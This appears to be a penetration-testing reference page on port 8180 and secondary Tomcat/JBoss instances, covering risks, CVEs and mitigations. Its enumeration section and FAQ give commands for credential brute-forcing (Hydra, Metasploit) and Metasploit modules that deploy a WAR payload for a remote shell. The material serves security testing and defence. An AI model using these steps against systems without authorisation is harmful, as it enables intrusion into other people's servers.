Port 8180 – Alternate Tomcat/JBoss HTTP (Secondary App-Server Admin Port)

Port 8180 is an alternate HTTP port for Java application servers — most commonly a second Apache Tomcat or JBoss instance whose primary connector on 8080 was already taken. When an admin needs to run two app servers side by side, or wants the management console on a port distinct from the application traffic, the second connector very often lands on 8180. The thing answering there is usually the same as on 8080 — a servlet container, its /manager/html app, or a JBoss admin console — just a second copy of it. Because it is the secondary instance, 8180 is also where you find the forgotten one: the staging Tomcat nobody patched, the dev JBoss left on default credentials, the manager app that was supposed to be internal-only. The single most famous example lives on exactly this port — Metasploitable 2 ships its intentionally vulnerable Tomcat on 8180 — and it is the textbook lesson for why an exposed manager app is a full remote-code-execution finding, not a low-severity note.

Why It’s Open

The dominant reason port 8180 is open is a second Java app-server connector. Tomcat and JBoss both bind 8080 by default; the moment you run a second instance — a staging copy, a separate app, a management tier split off from application traffic — the new connector needs a free port, and 8180 (8080 with a digit bumped) is the conventional pick. So an open 8180 almost always means:

• A secondary Apache Tomcat HTTP connector, frequently exposing /manager/html (the Manager app) and /host-manager/html.
• A JBoss / WildFly instance serving its web/admin console or the legacy JMX/HTTP-Invoker endpoints on an alternate HTTP port.
• A custom admin dashboard or application backend an internal team stood up on 8180 to keep it off the main web port.

This is the same family of software as port 8080 — the difference is that 8180 is the alternate/secondary instance, which in practice is the one more likely to be under-maintained, left on defaults, or unintentionally reachable from outside its intended network.

Common Risks

• Exposed Tomcat/JBoss Manager with weak or default credentials. This is the headline risk on 8180. Tomcat’s Manager app ships examples like tomcat:tomcat, admin:admin, and role1:role1; if the app is reachable and any account works, an attacker can deploy a WAR file and get a shell. This is a configuration failure, not a single CVE — and it is exactly what Metasploitable 2 demonstrates on 8180.
• WAR-upload / HTTP-PUT remote code execution. Once the manager is reachable (or HTTP PUT is enabled on the Default servlet), uploading a JSP/WAR payload turns into direct code execution on the host (see the Tomcat CVEs below).
• Java deserialization. JBoss HTTP-Invoker endpoints and other Java stacks on 8180 have a long history of unsafe-deserialization RCE (see CVE-2017-12149 below).
• Cleartext HTTP. 8180 is plain HTTP by default — credentials and session tokens for the manager console cross the wire unencrypted unless TLS is added, unlike 8443.
• The “forgotten secondary” problem. Because 8180 is the second instance, it is disproportionately a staging/dev box that is behind on patches, still on example accounts, or exposed beyond the network it was meant for.
• Information disclosure. Default error pages, Server: banners, and the manager status page readily leak Tomcat/JBoss version and app details, telling an attacker exactly which exploit to reach for.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Book a Demo

Enumeration & Testing

The job on 8180 is to confirm it’s a Tomcat/JBoss app server, find the manager/admin surface, and test it for weak credentials before anything else.

Detect the service and version

nmap -sV -p 8180 <target>
nmap -p 8180 --script http-title,http-headers,http-enum <target>

Probe the management endpoints

curl -sI http://<target>:8180/
curl -s http://<target>:8180/manager/html
curl -s http://<target>:8180/host-manager/html

A 401/WWW-Authenticate: Basic realm="Tomcat Manager Application" response confirms the Manager app is present and gated only by HTTP Basic auth — the exact target for a credential attack.

Check for default credentials (NSE + curl)

nmap -p 8180 --script http-default-accounts --script-args http-default-accounts.category=web <target>
curl -su tomcat:tomcat http://<target>:8180/manager/html

Brute-force the Manager app

# Metasploit: dedicated Tomcat Manager login scanner
msfconsole -q
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS <target>
set RPORT 8180
run

# Or Hydra against HTTP Basic on the manager path
hydra -L users.txt -P passwords.txt <target> -s 8180 http-get /manager/html

Weaponise a valid manager login into a shell

Once credentials work, deploy a WAR payload for code execution. On older Tomcat (e.g. Metasploitable 2’s Tomcat 5.5) use the deployer module; on Tomcat 7+ use the upload module:

# Classic Metasploitable 2 path — Tomcat Manager deploy → WAR → RCE on 8180
use exploit/multi/http/tomcat_mgr_deploy
set RHOSTS <target>
set RPORT 8180
set HttpUsername tomcat
set HttpPassword tomcat
run

# Tomcat 7+ upload variant
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS <target>
set RPORT 8180
run

Capture every open port 8180, the exact server/version, and any credential or WAR deploy that succeeds as you go, so the evidence lands in the pentest report instead of a scratch terminal you’ll lose.

What to Look For

Known CVEs and Exploits

The core risk on 8180 is a configuration problem — an exposed Manager app with weak credentials — not a single CVE. That said, the Tomcat and JBoss software that sits here carries real, verified network-exploitable bugs. Every CVE below was confirmed against its NVD record and scoped to a service that genuinely runs on this alternate HTTP port:

• CVE-2017-12615 — Apache Tomcat 7.0.0–7.0.79 on Windows with HTTP PUTs enabled (readonly="false" on the Default servlet). A crafted PUT uploads a JSP file that then executes as code — remote code execution. CVSS 8.1. (Carried over from the previous version of this page; verified correct.)
• CVE-2017-12617 — The cross-platform sibling of the above: Apache Tomcat 9.0.0.M1–9.0.0, 8.5.0–8.5.22, 8.0.0.RC1–8.0.46, and 7.0.0–7.0.81 with HTTP PUTs enabled allow a JSP file to be uploaded and executed on any OS. CVSS 8.1. Public PoC on Exploit-DB 42966.
• CVE-2017-12149 — Red Hat JBoss Enterprise Application Platform 5.0.0–5.2.2: the ReadOnlyAccessFilter in the HTTP Invoker deserializes untrusted data without restricting classes, giving unauthenticated remote code execution via crafted serialized objects. CVSS 9.8. The relevant endpoint is served over HTTP, exactly the kind of connector that lands on 8180.

An honest note on Ghostcat. CVE-2020-1938 (“Ghostcat”, CVSS 9.8) is frequently listed alongside Tomcat, but it is an AJP flaw — it lives on the AJP connector (default port 8009), not on the HTTP connector on 8180. It has been left off this page’s active list on purpose; if you find it referenced against 8180 elsewhere, that’s a mislabel. Test for Ghostcat on the AJP port, not here.

The previous version of this page listed only a single Tomcat CVE with no JBoss coverage and no note on scope. The list above corrects that: it keeps the verified Tomcat PUT-upload bug, adds its cross-platform twin and a real JBoss deserialization RCE, and explicitly excludes the AJP-only Ghostcat.

Mitigation

• Lock down or remove the Manager app. If you don’t need /manager/html or /host-manager/html, undeploy them. If you do, restrict them to a management network with Tomcat’s RemoteAddrValve/RemoteAddrFilter and never expose them to the internet.
• Kill default credentials. Delete the example tomcat, admin, and role1 accounts from tomcat-users.xml; set strong, unique passwords for any manager role. This alone defeats the Metasploitable-2-style attack.
• Disable HTTP PUT. Ensure the Default servlet’s readonly parameter is left at its secure true default so JSP files can’t be uploaded via PUT (closes CVE-2017-12615 / CVE-2017-12617).
• Patch Tomcat/JBoss. Keep the app server current; the JBoss HTTP-Invoker deserialization RCE (CVE-2017-12149) and the Tomcat PUT bugs are all fixed in later releases.
• Add TLS. Put the console behind HTTPS — front it with a reverse proxy terminating TLS on 443 or 8443 — so manager credentials aren’t sent in cleartext.
• Firewall 8180 to the hosts that actually need it, and audit cloud security groups and container port maps for an accidental 0.0.0.0:8180 — the “secondary” instance is the one most often left exposed.

Real-World Example

The canonical case for port 8180 is Metasploitable 2, Rapid7’s intentionally vulnerable training VM, which serves an old Apache Tomcat 5.5 on 8180 with the Manager app reachable and the default tomcat:tomcat credentials left in place. It is the textbook exploitation chain taught in virtually every intro pentest course: point auxiliary/scanner/http/tomcat_mgr_login at 8180 to confirm the weak login, then run exploit/multi/http/tomcat_mgr_deploy with those credentials and RPORT 8180 to push a malicious WAR through the Manager’s deploy interface — Tomcat unpacks and runs it, handing back a shell as the Tomcat user. No memory-corruption exploit, no CVE required: just an exposed management app plus a default password. That is precisely why an open 8180 with a reachable /manager/html is treated as a critical finding, and why “change the default creds and hide the manager” is the first thing to check.

FAQ

What is port 8180 used for?

Port 8180 is an alternate HTTP port for Java application servers — most often a secondary Apache Tomcat or JBoss instance and its management console, stood up on 8180 because the usual port 8080 was already in use. It also hosts custom admin dashboards and application backends that teams deliberately keep off the main web port.

Why is port 8180 open on my server?

Because something is running a second app-server connector there. The common culprits are a Tomcat or JBoss instance (a staging/dev copy, or a management tier split off from application traffic on 8080) and internally built admin tools. If you don’t recognise it, fingerprint it — nmap -sV -p 8180 <host> — before trusting it, because the secondary instance is the one most often left unpatched or on defaults.

Is port 8180 dangerous to leave open?

The port itself is neutral; the risk is what’s behind it. A patched app server with the Manager app removed or locked to a management network and no default credentials is fine internally. An exposed Tomcat/JBoss manager on default creds — the Metasploitable 2 scenario — is a direct path to remote code execution and should never face the internet.

How is port 8180 different from port 8080?

They usually run the same software. Port 8080 is the primary/default alternate-HTTP port for Tomcat, proxies, and app servers; 8180 is the conventional choice for the second instance when 8080 is taken. In practice the 8180 instance is more often the neglected staging or management copy, which is why it deserves a close look.

How do I exploit a Tomcat Manager on port 8180?

Confirm the manager is reachable (curl -s http://<host>:8180/manager/html), test default credentials, then — if a login works — deploy a WAR payload for code execution using Metasploit’s exploit/multi/http/tomcat_mgr_deploy (older Tomcat) or exploit/multi/http/tomcat_mgr_upload (Tomcat 7+) with RPORT 8180. This is the standard Metasploitable 2 exercise. Only do this against systems you’re authorised to test.

How do I secure or close port 8180?

Remove or IP-restrict the Manager/admin app, delete default accounts and set strong passwords, disable HTTP PUT, patch Tomcat/JBoss, terminate TLS in front of the console, and firewall 8180 to the hosts that need it. If nothing legitimately uses it, stop the connector and confirm with nmap -p 8180 <host> that the port is closed.

TL;DR

• Service: alternate HTTP connector for a secondary Apache Tomcat or JBoss/WildFly instance (manager/admin console), plus custom admin dashboards
• Default port: 8180/TCP (the conventional “second instance” port when 8080 is taken)
• Biggest risk: an exposed Tomcat/JBoss Manager on weak or default credentials → WAR-upload remote code execution (the Metasploitable 2 lesson); plus Tomcat HTTP-PUT RCE and JBoss deserialization RCE
• Mitigation: remove or IP-restrict the manager app, kill default credentials, disable HTTP PUT, patch the app server, add TLS, and firewall 8180 to trusted hosts